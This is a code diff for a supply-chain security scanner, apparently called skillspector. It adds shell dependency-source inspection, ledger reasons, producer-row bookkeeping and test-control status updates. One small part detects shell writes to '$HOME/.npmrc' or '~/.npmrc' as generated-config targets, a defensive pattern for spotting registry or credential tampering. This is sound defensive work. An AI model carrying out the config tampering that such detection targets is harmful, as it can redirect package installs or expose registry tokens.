ca4162e6..aba89a72 100644 --- a/src/skillspector/inspection_ledger.py +++ b/src/skillspector/inspection_ledger.py @@ -92,6 +92,10 @@ class LedgerReason(StrEnum): RUNTIME_LIMIT = "runtime_limit" UNSCANNED_EXECUTABLE_CONTENT = "unscanned_executable_content" DEPENDENCY_SOURCE_PARSE_INCOMPLETE = "dependency_source_parse_incomplete" + DEPENDENCY_SOURCE_SHELL_SYNTAX_ERROR = "dependency_source_shell_syntax_error" + DEPENDENCY_SOURCE_UNSUPPORTED_SEMANTICS = "dependency_source_unsupported_semantics" + DEPENDENCY_SOURCE_SHELL_PARSER_UNAVAILABLE = "dependency_source_shell_parser_unavailable" + DEPENDENCY_SOURCE_RESOURCE_LIMIT = "dependency_source_resource_limit" OUTPUT_LIMIT = "output_limit" @@ -183,6 +187,18 @@ class LedgerReason(StrEnum): LedgerReason.DEPENDENCY_SOURCE_PARSE_INCOMPLETE: ( "Dependency-source configuration could not be completely interpreted." ), + LedgerReason.DEPENDENCY_SOURCE_SHELL_SYNTAX_ERROR: ( + "Shell dependency-source syntax could not be completely interpreted." + ), + LedgerReason.DEPENDENCY_SOURCE_UNSUPPORTED_SEMANTICS: ( + "Shell dependency-source behavior uses unsupported semantics." + ), + LedgerReason.DEPENDENCY_SOURCE_SHELL_PARSER_UNAVAILABLE: ( + "The bounded shell parser was unavailable for dependency-source inspection." + ), + LedgerReason.DEPENDENCY_SOURCE_RESOURCE_LIMIT: ( + "Shell dependency-source inspection reached a configured resource limit." + ), LedgerReason.OUTPUT_LIMIT: "Inspection reached its configured output limit.", } diff --git a/src/skillspector/nodes/analyzers/static_patterns_supply_chain.py b/src/skillspector/nodes/analyzers/static_patterns_supply_chain.py index 1ee91992..419b0be1 100644 --- a/src/skillspector/nodes/analyzers/static_patterns_supply_chain.py +++ b/src/skillspector/nodes/analyzers/static_patterns_supply_chain.py @@ -48,8 +48,11 @@ from skillspector.dependency_source_types import ( DependencySourceLimitation, DependencySourceLimitationReason, - DependencySourceSpan, DependencyWorkBudget, + ShellIssue, + ShellIssueReason, + ShellWorkItem, + ShellWorkOutcome, ) from skillspector.dependency_sources import analyze_dependency_sources from skillspector.inspection_ledger import ( @@ -92,6 +95,186 @@ logger = get_logger(__name__) ANALYZER_ID = "static_patterns_supply_chain" +DEPENDENCY_SOURCE_ANALYZER_ID = "dependency_sources" +DEPENDENCY_SOURCE_SHELL_ANALYZER_ID = "dependency_source_shell" +DEPENDENCY_SOURCE_COVERAGE_ANALYZER_ID = "dependency_source_coverage" + +_SHELL_OUTCOME_PRIORITY = { + ShellWorkOutcome.COMPLETED: 0, + ShellWorkOutcome.PARTIAL: 1, + ShellWorkOutcome.SKIPPED: 2, + ShellWorkOutcome.FAILED: 3, +} +_SHELL_REASON_PRIORITY = { + ShellIssueReason.UNSUPPORTED_SEMANTICS: 0, + ShellIssueReason.SYNTAX_ERROR: 1, + ShellIssueReason.RUNTIME_LIMIT: 2, + ShellIssueReason.RESOURCE_LIMIT: 3, + ShellIssueReason.SHELL_PARSER_UNAVAILABLE: 4, +} +_SHELL_LEDGER_REASON = { + ShellIssueReason.SYNTAX_ERROR: LedgerReason.DEPENDENCY_SOURCE_SHELL_SYNTAX_ERROR, + ShellIssueReason.UNSUPPORTED_SEMANTICS: (LedgerReason.DEPENDENCY_SOURCE_UNSUPPORTED_SEMANTICS), + ShellIssueReason.RUNTIME_LIMIT: LedgerReason.RUNTIME_LIMIT, + ShellIssueReason.SHELL_PARSER_UNAVAILABLE: ( + LedgerReason.DEPENDENCY_SOURCE_SHELL_PARSER_UNAVAILABLE + ), + ShellIssueReason.RESOURCE_LIMIT: LedgerReason.DEPENDENCY_SOURCE_RESOURCE_LIMIT, +} + + +def _aggregate_shell_outcome( + current: ShellWorkOutcome, + incoming: ShellWorkOutcome, +) -> ShellWorkOutcome: + """Retain productive partial work when a same-range sibling is skipped.""" + if {current, incoming} == {ShellWorkOutcome.PARTIAL, ShellWorkOutcome.SKIPPED}: + return ShellWorkOutcome.PARTIAL + return ( + incoming + if _SHELL_OUTCOME_PRIORITY[incoming] > _SHELL_OUTCOME_PRIORITY[current] + else current + ) + + +@dataclass(slots=True) +class _DependencyRowPlan: + """One staged SC10 producer row before atomic public-output reservation.""" + + analyzer_id: str + outcome: LedgerOutcome + path: str + start_line: int + end_line: int + reason: LedgerReason | None = None + emitted_finding_ids: list[str] | None = None + unit_ids: set[str] | None = None + metrics: dict[str, int] | None = None + + def event(self) -> InspectionLedgerEvent: + metrics = self.metrics or {} + return ledger_event( + analyzer_id=self.analyzer_id, + outcome=self.outcome, + phase="static", + path=self.path, + start_line=self.start_line, + end_line=self.end_line, + reason=self.reason, + emitted_finding_ids=self.emitted_finding_ids or (), + observed_bytes=metrics.get("observed_bytes"), + limit_bytes=metrics.get("limit_bytes"), + observed_findings=metrics.get("observed_findings"), + limit_findings=metrics.get("limit_findings"), + observed_depth=metrics.get("observed_depth"), + limit_depth=metrics.get("limit_depth"), + observed_records=metrics.get("observed_records"), + limit_records=metrics.get("limit_records"), + ) + + +def _clone_ledger_event(event: InspectionLedgerEvent) -> InspectionLedgerEvent: + """Clone one row and its mutable finding-ID collections for staged mutation.""" + cloned = event.copy() + cloned["input_finding_ids"] = list(event["input_finding_ids"]) + cloned["emitted_finding_ids"] = list(event["emitted_finding_ids"]) + return cloned + + +def _shell_dependency_row_plans( + work_items: tuple[ShellWorkItem, ...], + issues: tuple[ShellIssue, ...], +) -> tuple[list[_DependencyRowPlan], dict[str, _DependencyRowPlan]]: + """Aggregate duplicate terminal identities and retain their worst outcome.""" + plans: dict[tuple[str, int, int], _DependencyRowPlan] = {} + unit_keys: dict[str, set[tuple[str, int, int]]] = {} + unit_item_counts: dict[str, int] = {} + issues_by_key: dict[tuple[str, int, int], list[ShellIssue]] = {} + + for item in work_items: + key = (item.span.path, item.span.start_line, item.span.end_line) + unit_keys.setdefault(item.unit_id, set()).add(key) + unit_item_counts[item.unit_id] = unit_item_counts.get(item.unit_id, 0) + 1 + outcome = LedgerOutcome(item.outcome.value) + plan = plans.get(key) + if plan is None: + plans[key] = _DependencyRowPlan( + analyzer_id=DEPENDENCY_SOURCE_SHELL_ANALYZER_ID, + outcome=outcome, + path=item.span.path, + start_line=item.span.start_line, + end_line=item.span.end_line, + emitted_finding_ids=[], + unit_ids={item.unit_id}, + ) + else: + plan.outcome = LedgerOutcome( + _aggregate_shell_outcome( + ShellWorkOutcome(plan.outcome.value), + item.outcome, + ).value + ) + if plan.unit_ids is None: + plan.unit_ids = set() + plan.unit_ids.add(item.unit_id) + + for issue in issues: + issue_key: tuple[str, int, int] + keys = unit_keys.get(issue.unit_id, set()) if issue.unit_id is not None else set() + if len(keys) == 1: + issue_key = next(iter(keys)) + else: + issue_key = (issue.span.path, issue.span.start_line, issue.span.end_line) + plan = plans.get(issue_key) + if plan is None: + plans[issue_key] = _DependencyRowPlan( + analyzer_id=DEPENDENCY_SOURCE_SHELL_ANALYZER_ID, + outcome=LedgerOutcome(issue.outcome.value), + path=issue_key[0], + start_line=issue_key[1], + end_line=issue_key[2], + emitted_finding_ids=[], + unit_ids=({issue.unit_id} if issue.unit_id is not None else set()), + ) + else: + current = ShellWorkOutcome(plan.outcome.value) + plan.outcome = LedgerOutcome(_aggregate_shell_outcome(current, issue.outcome).value) + issues_by_key.setdefault(issue_key, []).append(issue) + + global_blocking_issues = [ + issue + for issue in issues + if issue.reason + in { + ShellIssueReason.RUNTIME_LIMIT, + ShellIssueReason.RESOURCE_LIMIT, + ShellIssueReason.SHELL_PARSER_UNAVAILABLE, + } + ] + for key, plan in plans.items(): + if plan.outcome is LedgerOutcome.COMPLETED: + continue + candidates = issues_by_key.get(key, []) + if not candidates and plan.outcome is LedgerOutcome.SKIPPED: + candidates = global_blocking_issues + selected = max( + candidates, + key=lambda issue: _SHELL_REASON_PRIORITY[issue.reason], + default=None, + ) + if selected is None: + plan.reason = LedgerReason.DEPENDENCY_SOURCE_UNSUPPORTED_SEMANTICS + else: + plan.reason = _SHELL_LEDGER_REASON[selected.reason] + if selected.exhaustion is not None: + plan.metrics = selected.exhaustion.ledger_metrics() + + plan_by_unit_id: dict[str, _DependencyRowPlan] = {} + for unit_id, keys in unit_keys.items(): + if len(keys) == 1 and unit_item_counts.get(unit_id) == 1: + plan_by_unit_id[unit_id] = plans[next(iter(keys))] + return list(plans.values()), plan_by_unit_id + # Dependency work is supplemental to the canonical text scan and therefore # needs its own aggregate ceilings. These apply across every manifest in a @@ -2290,6 +2473,7 @@ def dependency_remaining_seconds() -> float: artifact_inventory=state.get("artifact_inventory") or [], budget=dependency_source_budget, executable_paths=executable_paths, + deadline_monotonic=dependency_deadline, ) parse_limitations_by_path: dict[str, list[DependencySourceLimitation]] = {} coverage_limitations: list[DependencySourceLimitation] = [] @@ -2304,79 +2488,178 @@ def dependency_remaining_seconds() -> float: source_limitation ) - findings_by_source_path: dict[str, list[Finding]] = {} - for finding in source_analysis.findings: - findings_by_source_path.setdefault(finding.file, []).append(finding) - - source_rows: list[InspectionLedgerEvent] = [] + source_plans: list[_DependencyRowPlan] = [] + direct_plan_by_path: dict[str, _DependencyRowPlan] = {} for span in source_analysis.applicable_spans: path_limitations = parse_limitations_by_path.get(span.path, []) - finding_ids = [finding.finding_id for finding in findings_by_source_path.get(span.path, [])] if path_limitations: source_limitation = path_limitations[0] - source_rows.append( - ledger_event( - analyzer_id="dependency_sources", - outcome=LedgerOutcome.PARTIAL, - phase="static", - path=span.path, - start_line=min(item.start_line for item in path_limitations), - end_line=max(item.end_line for item in path_limitations), - reason=LedgerReason.DEPENDENCY_SOURCE_PARSE_INCOMPLETE, - emitted_finding_ids=finding_ids, - observed_bytes=source_limitation.observed_bytes, - limit_bytes=source_limitation.limit_bytes, - observed_findings=source_limitation.observed_findings, - limit_findings=source_limitation.limit_findings, - observed_depth=source_limitation.observed_depth, - limit_depth=source_limitation.limit_depth, - observed_records=source_limitation.observed_records, - limit_records=source_limitation.limit_records, - ) + plan = _DependencyRowPlan( + analyzer_id=DEPENDENCY_SOURCE_ANALYZER_ID, + outcome=LedgerOutcome.PARTIAL, + path=span.path, + start_line=min(item.start_line for item in path_limitations), + end_line=max(item.end_line for item in path_limitations), + reason=LedgerReason.DEPENDENCY_SOURCE_PARSE_INCOMPLETE, + emitted_finding_ids=[], + metrics=source_limitation.ledger_metrics(), ) else: - source_rows.append( - ledger_event( - analyzer_id="dependency_sources", - outcome=LedgerOutcome.COMPLETED, - phase="static", - path=span.path, - start_line=span.start_line, - end_line=span.end_line, - emitted_finding_ids=finding_ids, - ) + plan = _DependencyRowPlan( + analyzer_id=DEPENDENCY_SOURCE_ANALYZER_ID, + outcome=LedgerOutcome.COMPLETED, + path=span.path, + start_line=span.start_line, + end_line=span.end_line, + emitted_finding_ids=[], ) - - coverage_rows: list[InspectionLedgerEvent] = [ - ledger_event( - analyzer_id="dependency_source_coverage", + if span.path in direct_plan_by_path: + raise ValueError("dependency-source path has multiple direct producer rows") + direct_plan_by_path[span.path] = plan + source_plans.append(plan) + + shell_plans, shell_plan_by_unit_id = _shell_dependency_row_plans( + source_analysis.shell_work_items, + source_analysis.shell_issues, + ) + coverage_plans: list[_DependencyRowPlan] = [ + _DependencyRowPlan( + analyzer_id=DEPENDENCY_SOURCE_COVERAGE_ANALYZER_ID, outcome=LedgerOutcome.PARTIAL, - phase="static", path=source_limitation.path, start_line=source_limitation.start_line, end_line=source_limitation.end_line, reason=LedgerReason.UNSCANNED_EXECUTABLE_CONTENT, + emitted_finding_ids=[], ) for source_limitation in coverage_limitations ] - base_ledger = list(response["inspection_ledger"]) - if source_analysis.ledger_exhaustion is None: - findings.extend(source_analysis.findings) - response["inspection_ledger"] = merge_inspection_ledger( - base_ledger, - [*source_rows, *coverage_rows], + + for finding, producer_unit_id in zip( + source_analysis.findings, + source_analysis.finding_producer_unit_ids, + strict=True, + ): + producer_plan = ( + direct_plan_by_path.get(finding.file) + if producer_unit_id is None + else shell_plan_by_unit_id.get(producer_unit_id) ) - source_status = analyzer_status_for_events("dependency_sources", source_rows) - coverage_status = analyzer_status_for_events("dependency_source_coverage", coverage_rows) - else: - omitted_path = ( - source_analysis.applicable_spans[0].path - if source_analysis.applicable_spans - else coverage_limitations[0].path - if coverage_limitations - else "SKILL.md" + if producer_plan is None: + raise ValueError("dependency-source finding has no unique producer row") + if producer_plan.outcome not in {LedgerOutcome.COMPLETED, LedgerOutcome.PARTIAL}: + raise ValueError("non-producing dependency work cannot attach a finding") + if producer_plan.emitted_finding_ids is None: + producer_plan.emitted_finding_ids = [] + if finding.finding_id not in producer_plan.emitted_finding_ids: + producer_plan.emitted_finding_ids.append(finding.finding_id) + + all_plans = [*source_plans, *shell_plans, *coverage_plans] + planned_events: list[InspectionLedgerEvent] = [plan.event() for plan in all_plans] + planned_work_ids = [event["work_id"] for event in planned_events] + if len(planned_work_ids) != len(set(planned_work_ids)): + raise ValueError("dependency-source work identities must be unique before commit") + + base_ledger: list[InspectionLedgerEvent] = list(response["inspection_ledger"]) + staged_base_ledger: list[InspectionLedgerEvent] = [ + _clone_ledger_event(event) for event in base_ledger + ] + base_positions: dict[str, int] = {} + for index, event in enumerate(staged_base_ledger): + work_id = event["work_id"] + if work_id in base_positions: + raise ValueError("base ledger contains a duplicate dependency producer identity") + base_positions[work_id] = index + + new_rows: list[InspectionLedgerEvent] = [] + for event in planned_events: + existing_index = base_positions.get(event["work_id"]) + if existing_index is None: + new_rows.append(event) + continue + existing = staged_base_ledger[existing_index] + if ( + existing.get("analyzer_id") != event.get("analyzer_id") + or existing["path"] != event["path"] + or existing["start_line"] != event["start_line"] + or existing["end_line"] != event["end_line"] + or existing["outcome"] is not event["outcome"] + ): + raise ValueError("existing dependency producer row conflicts with planned work") + for finding_id in event["emitted_finding_ids"]: + if finding_id not in existing["emitted_finding_ids"]: + existing["emitted_finding_ids"].append(finding_id) + + staged_ledger: list[InspectionLedgerEvent] = [*staged_base_ledger, *new_rows] + for finding in source_analysis.findings: + attachment_count = sum( + finding.finding_id in event["emitted_finding_ids"] for event in staged_ledger + ) + if attachment_count != 1: + raise ValueError("dependency-source finding must attach to exactly one producer") + + existing_finding_ids = {finding.finding_id for finding in findings} + new_source_findings = [ + finding + for finding in source_analysis.findings + if finding.finding_id not in existing_finding_ids + ] + exhaustion = dependency_source_budget.reserve_dependency_outputs( + emitted_changes=len(new_source_findings), + finding_output_records=len(new_source_findings), + new_ledger_events=len(new_rows), + ) + + def output_limited_status( + analyzer_id: str, + plans: list[_DependencyRowPlan], + ) -> AnalyzerStatusEvent: + if not plans: + return analyzer_status_for_events(analyzer_id, []) + return analyzer_status_event( + analyzer_id=analyzer_id, + status="degraded", + reason=LedgerReason.OUTPUT_LIMIT, + planned_work=[ + { + "work_id": inspection_work_id( + analyzer_id, + plan.path, + plan.start_line, + plan.end_line, + ), + "path": plan.path, + "start_line": plan.start_line, + "end_line": plan.end_line, + } + for plan in plans + ], ) - exhaustion = source_analysis.ledger_exhaustion + + if exhaustion is None: + findings = [*findings, *new_source_findings] + response["findings"] = findings + response["inspection_ledger"] = staged_ledger + committed_by_id = {event["work_id"]: event for event in staged_ledger} + + def committed_events(plans: list[_DependencyRowPlan]) -> list[InspectionLedgerEvent]: + return [committed_by_id[plan.event()["work_id"]] for plan in plans] + + source_status = analyzer_status_for_events( + DEPENDENCY_SOURCE_ANALYZER_ID, + committed_events(source_plans), + ) + shell_status = analyzer_status_for_events( + DEPENDENCY_SOURCE_SHELL_ANALYZER_ID, + committed_events(shell_plans), + ) + coverage_status = analyzer_status_for_events( + DEPENDENCY_SOURCE_COVERAGE_ANALYZER_ID, + committed_events(coverage_plans), + ) + else: + dependency_source_budget.claim_reserved_truncation_event() + omitted_path = all_plans[0].path if all_plans else "SKILL.md" marker = ledger_event( outcome=LedgerOutcome.PARTIAL, record_type=LedgerRecordType.SYSTEM, @@ -2387,53 +2670,24 @@ def dependency_remaining_seconds() -> float: limit_records=exhaustion.limit, ) response["inspection_ledger"] = merge_inspection_ledger(base_ledger, [marker]) - - def output_limited_status( - analyzer_id: str, - spans: list[DependencySourceSpan], - ) -> AnalyzerStatusEvent: - if not spans: - return analyzer_status_for_events(analyzer_id, []) - return analyzer_status_event( - analyzer_id=analyzer_id, - status="degraded", - reason=LedgerReason.OUTPUT_LIMIT, - planned_work=[ - { - "work_id": inspection_work_id( - analyzer_id, - span.path, - span.start_line, - span.end_line, - ), - "path": span.path, - "start_line": span.start_line, - "end_line": span.end_line, - } - for span in spans - ], - ) - source_status = output_limited_status( - "dependency_sources", - list(source_analysis.applicable_spans), + DEPENDENCY_SOURCE_ANALYZER_ID, + source_plans, + ) + shell_status = output_limited_status( + DEPENDENCY_SOURCE_SHELL_ANALYZER_ID, + shell_plans, ) coverage_status = output_limited_status( - "dependency_source_coverage", - [ - DependencySourceSpan( - path=item.path, - start_line=item.start_line, - end_line=item.end_line, - ) - for item in coverage_limitations - ], + DEPENDENCY_SOURCE_COVERAGE_ANALYZER_ID, + coverage_plans, ) logger.info("%s: %d findings", ANALYZER_ID, len(findings)) response["analyzer_status_events"] = [ analyzer_status_for_events(ANALYZER_ID, base_ledger), source_status, + shell_status, coverage_status, ] return response diff --git a/src/skillspector/shell_frontend.py b/src/skillspector/shell_frontend.py index 199eda00..f7fed381 100644 --- a/src/skillspector/shell_frontend.py +++ b/src/skillspector/shell_frontend.py @@ -888,6 +888,7 @@ class _ProvenGeneratedConfig(GeneratedConfig): """Private proof carried beside the stable public generated-config fields.""" target_proof: _GeneratedValueProof | None = field(default=None, repr=False, compare=False) + home_relative_target: bytes | None = field(default=None, repr=False, compare=False) content_proof: _GeneratedValueProof | None = field(default=None, repr=False, compare=False) physical_size_bytes: int = field(default=0, repr=False, compare=False) physical_line_starts: tuple[int, ...] = field(default=(), repr=False, compare=False) @@ -952,6 +953,7 @@ class _ArgumentIR: atoms: tuple[_ValueAtom, ...] local_start_byte: int = field(repr=False) local_end_byte: int = field(repr=False) + home_relative_target: bytes | None = field(default=None, repr=False) @dataclass(frozen=True, slots=True) @@ -2096,8 +2098,16 @@ def _argument(self, group: _NodeGroup) -> _ArgumentIR | None: atoms, group.start_byte, group.end_byte, + self._home_relative_generated_target(group.raw_syntax), ) + @staticmethod + def _home_relative_generated_target(raw_syntax: bytes) -> bytes | None: + """Retain only the two code-owned home forms needed for config dispatch.""" + if raw_syntax in {b'"$HOME/.npmrc"', b"~/.npmrc"}: + return b".npmrc" + return None + @staticmethod def _identifier(raw: bytes) -> str | None: if not raw or not (raw[0] == 95 or 65 <= raw[0] <= 90 or 97 <= raw[0] <= 122): @@ -4464,6 +4474,7 @@ def _generated_config( content=content, source_map=source_map, target_proof=output_fact.value_proof, + home_relative_target=output_fact.target.home_relative_target, content_proof=input_fact.value_proof, physical_size_bytes=( parent_map.physical_size_bytes if parent_map is not None else len(self.raw) @@ -7666,6 +7677,11 @@ def analyze_shell_unit( unit: ShellUnit, *, budget: DependencyWorkBudget, + deadline_monotonic: float | None = None, ) -> ShellFrontendResult: """Parse and lower one shell unit exactly once into bounded syntax-only sites.""" - return _analyze_shell_unit(unit, budget=budget).public + return _analyze_shell_unit( + unit, + budget=budget, + deadline_monotonic=deadline_monotonic, + ).public diff --git a/tests/nodes/analyzers/data/sc10_controls.json b/tests/nodes/analyzers/data/sc10_controls.json index 8e016c0b..fc1e65e4 100644 --- a/tests/nodes/analyzers/data/sc10_controls.json +++ b/tests/nodes/analyzers/data/sc10_controls.json @@ -546,7 +546,7 @@ }, { "id": "control-executable-00af35f0d55f", - "status": "unfixed", + "status": "fixed", "lands_in": "PR-2", "expected_outcome": "inert", "files": { @@ -556,7 +556,7 @@ }, { "id": "control-executable-067b418b404d", - "status": "unfixed", + "status": "fixed", "lands_in": "PR-2", "expected_outcome": "finding", "files": { @@ -578,7 +578,7 @@ }, { "id": "control-executable-073f7f296605", - "status": "unfixed", + "status": "fixed", "lands_in": "PR-2", "expected_outcome": "inert", "files": { @@ -588,7 +588,7 @@ }, { "id": "control-executable-07b2015705ce", - "status": "unfixed", + "status": "fixed", "lands_in": "PR-2", "expected_outcome": "finding", "files": { @@ -610,7 +610,7 @@ }, { "id": "control-executable-08eab67c462e", - "status": "unfixed", + "status": "fixed", "lands_in": "PR-2", "expected_outcome": "inert", "files": { @@ -620,7 +620,7 @@ }, { "id": "control-executable-0c5110f916e4", - "status": "unfixed", + "status": "fixed", "lands_in": "PR-2", "expected_outcome": "finding", "files": { @@ -642,7 +642,7 @@ }, { "id": "control-executable-0d04884b65a6", - "status": "unfixed", + "status": "fixed", "lands_in": "PR-2", "expected_outcome": "inert", "files": { @@ -652,7 +652,7 @@ }, { "id": "control-executable-0d483a1b201b", - "status": "unfixed", + "status": "fixed", "lands_in": "PR-2", "expected_outcome": "finding", "files": { @@ -674,7 +674,7 @@ }, { "id": "control-executable-10e104de8631", - "status": "unfixed", + "status": "fixed", "lands_in": "PR-2", "expected_outcome": "finding", "files": { @@ -696,7 +696,7 @@ }, { "id": "control-executable-1128d82c7906", - "status": "unfixed", + "status": "fixed", "lands_in": "PR-2", "expected_outcome": "inert", "files": { @@ -706,7 +706,7 @@ }, { "id": "control-executable-1596aa14a0a8", - "status": "unfixed", + "status": "fixed", "lands_in": "PR-2", "expected_outcome": "inert", "files": { @@ -716,7 +716,7 @@ }, { "id": "control-executable-181499b35284", - "status": "unfixed", + "status": "fixed", "lands_in": "PR-2", "expected_outcome": "finding", "files": { @@ -738,7 +738,7 @@ }, { "id": "control-executable-186d714c4d46", - "status": "unfixed", + "status": "fixed", "lands_in": "PR-2", "expected_outcome": "inert", "files": { @@ -748,7 +748,7 @@ }, { "id": "control-executable-1900aa47d591", - "status": "unfixed", + "status": "fixed", "lands_in": "PR-2", "expected_outcome": "finding", "files": { @@ -770,7 +770,7 @@ }, { "id": "control-executable-1aa904ea7e22", - "status": "unfixed", + "status": "fixed", "lands_in": "PR-2", "expected_outcome": "inert", "files": { @@ -780,7 +780,7 @@ }, { "id": "control-executable-1cef79565c27", - "status": "unfixed", + "status": "fixed", "lands_in": "PR-2", "expected_outcome": "finding", "files": { @@ -802,7 +802,7 @@ }, { "id": "control-executable-1f75a7b1683a", - "status": "unfixed", + "status": "fixed", "lands_in": "PR-2", "expected_outcome": "inert", "files": { @@ -812,7 +812,7 @@ }, { "id": "control-executable-22baf76b1494", - "status": "unfixed", + "status": "fixed", "lands_in": "PR-2", "expected_outcome": "inert", "files": { @@ -822,7 +822,7 @@ }, { "id": "control-executable-256a915eb1fc", - "status": "unfixed", + "status": "fixed", "lands_in": "PR-2", "expected_outcome": "finding", "files": { @@ -844,7 +844,7 @@ }, { "id": "control-executable-26bfa21457da", - "status": "unfixed", + "status": "fixed", "lands_in": "PR-2", "expected_outcome": "finding", "files": { @@ -866,7 +866,7 @@ }, { "id": "control-executable-288d4b0cd313", - "status": "unfixed", + "status": "fixed", "lands_in": "PR-2", "expected_outcome": "finding", "files": { @@ -888,7 +888,7 @@ }, { "id": "control-executable-292b141a6b74", - "status": "unfixed", + "status": "fixed", "lands_in": "PR-2", "expected_outcome": "inert", "files": { @@ -898,7 +898,7 @@ }, { "id": "control-executable-2a0a0d196e3a", - "status": "unfixed", + "status": "fixed", "lands_in": "PR-2", "expected_outcome": "finding", "files": { @@ -920,7 +920,7 @@ }, { "id": "control-executable-2a5bf10b5529", - "status": "unfixed", + "status": "fixed", "lands_in": "PR-2", "expected_outcome": "finding", "files": { @@ -942,7 +942,7 @@ }, { "id": "control-executable-2a637a0e2c3e", - "status": "unfixed", + "status": "fixed", "lands_in": "PR-2", "expected_outcome": "finding", "files": { @@ -964,7 +964,7 @@ }, { "id": "control-executable-2c4a6e56d529", - "status": "unfixed", + "status": "fixed", "lands_in": "PR-2", "expected_outcome": "inert", "files": { @@ -974,7 +974,7 @@ }, { "id": "control-executable-2c8f3c64b150", - "status": "unfixed", + "status": "fixed", "lands_in": "PR-2", "expected_outcome": "finding", "files": { @@ -996,7 +996,7 @@ }, { "id": "control-executable-2c9b51aa2932", - "status": "unfixed", + "status": "fixed", "lands_in": "PR-2", "expected_outcome": "finding", "files": { @@ -1018,7 +1018,7 @@ }, { "id": "control-executable-2ec17d098130", - "status": "unfixed", + "status": "fixed", "lands_in": "PR-2", "expected_outcome": "finding", "files": { @@ -1040,7 +1040,7 @@ }, { "id": "control-executable-2fd1703bf04f", - "status": "unfixed", + "status": "fixed", "lands_in": "PR-2", "expected_outcome": "finding", "files": { @@ -1062,7 +1062,7 @@ }, { "id": "control-executable-2ffea65f2cae", - "status": "unfixed", + "status": "fixed", "lands_in": "PR-2", "expected_outcome": "finding", "files": { @@ -1084,7 +1084,7 @@ }, { "id": "control-executable-30f28f3065b6", - "status": "unfixed", + "status": "fixed", "lands_in": "PR-2", "expected_outcome": "finding", "files": { @@ -1106,7 +1106,7 @@ }, { "id": "control-executable-320c3e22a0dd", - "status": "unfixed", + "status": "fixed", "lands_in": "PR-2", "expected_outcome": "finding", "files": { @@ -1128,7 +1128,7 @@ }, { "id": "control-executable-327f369a8120", - "status": "unfixed", + "status": "fixed", "lands_in": "PR-2", "expected_outcome": "finding", "files": { @@ -1150,7 +1150,7 @@ }, { "id": "control-executable-3393e78d7e96", - "status": "unfixed", + "status": "fixed", "lands_in": "PR-2", "expected_outcome": "finding", "files": { @@ -1172,7 +1172,7 @@ }, { "id": "control-executable-34ca7064ed46", - "status": "unfixed", + "status": "fixed", "lands_in": "PR-2", "expected_outcome": "finding", "files": { @@ -1194,7 +1194,7 @@ }, { "id": "control-executable-34fa4a98cbc9", - "status": "unfixed", + "status": "fixed", "lands_in": "PR-2", "expected_outcome": "finding", "files": { @@ -1216,7 +1216,7 @@ }, { "id": "control-executable-351143540080", - "status": "unfixed", + "status": "fixed", "lands_in": "PR-2", "expected_outcome": "inert", "files": { @@ -1226,7 +1226,7 @@ }, { "id": "control-executable-3866ca1b569d", - "status": "unfixed", + "status": "fixed", "lands_in": "PR-2", "expected_outcome": "inert", "files": { @@ -1236,7 +1236,7 @@ }, { "id": "control-executable-3a4463dba9c8", - "status": "unfixed", + "status": "fixed", "lands_in": "PR-2", "expected_outcome": "finding", "files": { @@ -1258,7 +1258,7 @@ }, { "id": "control-executable-3c6bf3b35a3d", - "status": "unfixed", + "status": "fixed", "lands_in": "PR-2", "expected_outcome": "limitation", "files": { @@ -1276,7 +1276,7 @@ }, { "id": "control-executable-3d157e28761b", - "status": "unfixed", + "status": "fixed", "lands_in": "PR-2", "expected_outcome": "finding", "files": { @@ -1298,7 +1298,7 @@ }, { "id": "control-executable-40c18d9071f9", - "status": "unfixed", + "status": "fixed", "lands_in": "PR-2", "expected_outcome": "inert", "files": { @@ -1308,7 +1308,7 @@ }, { "id": "control-executable-431d83551e3b", - "status": "unfixed", + "status": "fixed", "lands_in": "PR-2", "expected_outcome": "finding", "files": { @@ -1330,7 +1330,7 @@ }, { "id": "control-executable-4bad712dcc7d", - "status": "unfixed", + "status": "fixed", "lands_in": "PR-2", "expected_outcome": "finding", "files": { @@ -1352,7 +1352,7 @@ }, { "id": "control-executable-4d2732223030", - "status": "unfixed", + "status": "fixed", "lands_in": "PR-2", "expected_outcome": "finding", "files": { @@ -1374,7 +1374,7 @@ }, { "id": "control-executable-4f4ca27f0d6b", - "status": "unfixed", + "status": "fixed", "lands_in": "PR-2", "expected_outcome": "finding", "files": { @@ -1396,7 +1396,7 @@ }, { "id": "control-executable-515e203b51e0", - "status": "unfixed", + "status": "fixed", "lands_in": "PR-2", "expected_outcome": "finding", "files": { @@ -1418,7 +1418,7 @@ }, { "id": "control-executable-51ed17d1028c", - "status": "unfixed", + "status": "fixed", "lands_in": "PR-2", "expected_outcome": "finding", "files": { @@ -1440,7 +1440,7 @@ }, { "id": "control-executable-524923a1ab86", - "status": "unfixed", + "status": "fixed", "lands_in": "PR-2", "expected_outcome": "inert", "files": { @@ -1450,7 +1450,7 @@ }, { "id": "control-executable-542c1d47240c", - "status": "unfixed", + "status": "fixed", "lands_in": "PR-2", "expected_outcome": "finding", "files": { @@ -1472,7 +1472,7 @@ }, { "id": "control-executable-556d711dece1", - "status": "unfixed", + "status": "fixed", "lands_in": "PR-2", "expected_outcome": "finding", "files": { @@ -1494,7 +1494,7 @@ }, { "id": "control-executable-584560c78a89", - "status": "unfixed", + "status": "fixed", "lands_in": "PR-2", "expected_outcome": "finding", "files": { @@ -1516,7 +1516,7 @@ }, { "id": "control-executable-587a57c654a0", - "status": "unfixed", + "status": "fixed", "lands_in": "PR-2", "expected_outcome": "finding", "files": { @@ -1538,7 +1538,7 @@ }, { "id": "control-executable-596abecd9d7b", - "status": "unfixed", + "status": "fixed", "lands_in": "PR-2", "expected_outcome": "finding", "files": { @@ -1560,7 +1560,7 @@ }, { "id": "control-executable-5f9d5a542980", - "status": "unfixed", + "status": "fixed", "lands_in": "PR-2", "expected_outcome": "finding", "files": { @@ -1582,7 +1582,7 @@ }, { "id": "control-executable-6058b5cf0e7c", - "status": "unfixed", + "status": "fixed", "lands_in": "PR-2", "expected_outcome": "finding", "files": { @@ -1604,7 +1604,7 @@ }, { "id": "control-executable-61fe95351d35", - "status": "unfixed", + "status": "fixed", "lands_in": "PR-2", "expected_outcome": "finding", "files": { @@ -1626,7 +1626,7 @@ }, { "id": "control-executable-63f772637548", - "status": "unfixed", + "status": "fixed", "lands_in": "PR-2", "expected_outcome": "finding", "files": { @@ -1648,7 +1648,7 @@ }, { "id": "control-executable-6426380818c9", - "status": "unfixed", + "status": "fixed", "lands_in": "PR-2", "expected_outcome": "inert", "files": { @@ -1658,7 +1658,7 @@ }, { "id": "control-executable-643a8871856d", - "status": "unfixed", + "status": "fixed", "lands_in": 